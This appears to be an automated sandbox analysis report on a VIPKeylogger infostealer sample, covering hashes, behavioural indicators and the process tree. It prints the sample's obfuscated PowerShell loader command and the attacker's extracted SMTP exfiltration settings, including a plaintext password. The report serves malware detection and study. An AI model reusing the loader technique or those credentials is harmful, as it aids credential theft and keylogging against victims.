Analysis
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max time kernel
144s -
max time network
145s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system -
submitted
19/02/2025, 04:00
Static task
static1
Behavioral task
behavioral1
Sample
5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe
Resource
win7-20241010-en
Behavioral task
behavioral2
Sample
5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe
Resource
win10v2004-20250217-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20250217-en
Behavioral task
behavioral5
Sample
Oplagringers.ps1
Resource
win7-20241010-en
Behavioral task
behavioral6
Sample
Oplagringers.ps1
Resource
win10v2004-20250217-en
General
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Target
5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe
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Size
616KB
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MD5
d22d9212a0c0f8f3d45689c1161da1b2
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SHA1
381e5444e3e5bfa0ecf3eafeaa4e02b15f0c370e
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SHA256
5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58
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SHA512
fdd7fccc65d4cb04b3999322c907708dea0615f1435ccce076a63a3ac4e50d950f5b1eab0758e72d0e702f04e6045093814ff5f4c573a4e3c9c58b208869aacd
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SSDEEP
12288:vg2VsqLvsk/6SqKDJk8d+WRtsK/5uJWev4XOqepjOEAGQjW:vg2V1L0kCItphleQXwFrfEW
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.es - Port:
587 - Username:
[email protected] - Password:
596100Aa++++ - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Loads dropped DLL 1 IoCs
pid Process 1960 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe -
Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe Key opened \REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
Blocklisted process makes network request 8 IoCs
flow pid Process 31 4004 msiexec.exe 33 4004 msiexec.exe 35 4004 msiexec.exe 38 4004 msiexec.exe 40 4004 msiexec.exe 43 4004 msiexec.exe 46 4004 msiexec.exe 49 4004 msiexec.exe -
Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 30 drive.google.com 31 drive.google.com -
Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 45 reallyfreegeoip.org 46 reallyfreegeoip.org 42 checkip.dyndns.org -
Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\SysWOW64\thiopentone.lnk 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe -
Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
pid Process 4004 msiexec.exe -
Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
pid Process 2632 powershell.exe 4004 msiexec.exe -
Drops file in Windows directory 3 IoCs
description ioc Process File opened for modification C:\Windows\resources\Edrioasteroid156.sma 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe File opened for modification C:\Windows\resources\eternittage\bremses.uly 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe File opened for modification C:\Windows\osmious.cor 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe -
pid Process 2632 powershell.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language msiexec.exe -
Suspicious behavior: EnumeratesProcesses 11 IoCs
pid Process 2632 powershell.exe 2632 powershell.exe 2632 powershell.exe 2632 powershell.exe 2632 powershell.exe 2632 powershell.exe 2632 powershell.exe 2632 powershell.exe 2632 powershell.exe 4004 msiexec.exe 4004 msiexec.exe -
Suspicious behavior: MapViewOfSection 1 IoCs
pid Process 2632 powershell.exe -
Suspicious use of AdjustPrivilegeToken 23 IoCs
description pid Process Token: SeDebugPrivilege 2632 powershell.exe Token: SeIncreaseQuotaPrivilege 2632 powershell.exe Token: SeSecurityPrivilege 2632 powershell.exe Token: SeTakeOwnershipPrivilege 2632 powershell.exe Token: SeLoadDriverPrivilege 2632 powershell.exe Token: SeSystemProfilePrivilege 2632 powershell.exe Token: SeSystemtimePrivilege 2632 powershell.exe Token: SeProfSingleProcessPrivilege 2632 powershell.exe Token: SeIncBasePriorityPrivilege 2632 powershell.exe Token: SeCreatePagefilePrivilege 2632 powershell.exe Token: SeBackupPrivilege 2632 powershell.exe Token: SeRestorePrivilege 2632 powershell.exe Token: SeShutdownPrivilege 2632 powershell.exe Token: SeDebugPrivilege 2632 powershell.exe Token: SeSystemEnvironmentPrivilege 2632 powershell.exe Token: SeRemoteShutdownPrivilege 2632 powershell.exe Token: SeUndockPrivilege 2632 powershell.exe Token: SeManageVolumePrivilege 2632 powershell.exe Token: 33 2632 powershell.exe Token: 34 2632 powershell.exe Token: 35 2632 powershell.exe Token: 36 2632 powershell.exe Token: SeDebugPrivilege 4004 msiexec.exe -
Suspicious use of WriteProcessMemory 7 IoCs
description pid Process procid_target PID 1960 wrote to memory of 2632 1960 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe 85 PID 1960 wrote to memory of 2632 1960 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe 85 PID 1960 wrote to memory of 2632 1960 5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe 85 PID 2632 wrote to memory of 4004 2632 powershell.exe 88 PID 2632 wrote to memory of 4004 2632 powershell.exe 88 PID 2632 wrote to memory of 4004 2632 powershell.exe 88 PID 2632 wrote to memory of 4004 2632 powershell.exe 88 -
outlook_office_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe -
outlook_win_path 1 IoCs
description ioc Process Key opened \REGISTRY\USER\S-1-5-21-1161330783-2912525651-1278508834-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676 msiexec.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe"C:\Users\Admin\AppData\Local\Temp\5a7464bcc4660ebad26abdbb13c3a20c28b11d11b2a03c9b26b09c73f89b4a58.exe"1⤵
- Loads dropped DLL
- Drops file in System32 directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1960 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Unepic=gc -Raw 'C:\Users\Admin\AppData\Local\Temp\siller\Pillowing\robotise\Oplagringers.Sti';$Kaffehandlerens=$Unepic.SubString(57847,3);.$Kaffehandlerens($Unepic)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2632 -
C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
PID:4004
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7KB
MD54c77a65bb121bb7f2910c1fa3cb38337
SHA194531e3c6255125c1a85653174737d275bc35838
SHA2565e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe
SHA512df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04
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Filesize
56KB
MD5172a2e725c31a9307f57fc521e7db52d
SHA198fc978b17e9cbd62f0895c78b73b71ef4fdbe6c
SHA2562d21ee452d6ec7e69fba3feb7ac2f84e221291e6759b262ab2153012bf0d9b73
SHA5125ebf7f94006c3f3dab1e7096c29793b10284507f9324a47926c3b06a1e083a1e011235a60e53a7744f344f0ffdb755db8ebfbe91f8ceb21aabbdc16f7496649d
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Filesize
336KB
MD5fe890c82e5685491bab49e83550fa915
SHA161831ece61578ce31a03278b0252b5c1be58e3f9
SHA256c2d934fc078b6cb0134dce1949776ef948e3ec2239e48bf6e503b0b9aa46190b
SHA512559a40ce2f7a515ecfb3d771ebfe399519f438603d58d51ed3594f36aa4b954bacda88c72092bc016e0b1b5c9f92581a0bc1eb6478f5e004ebec861a9e21bbb3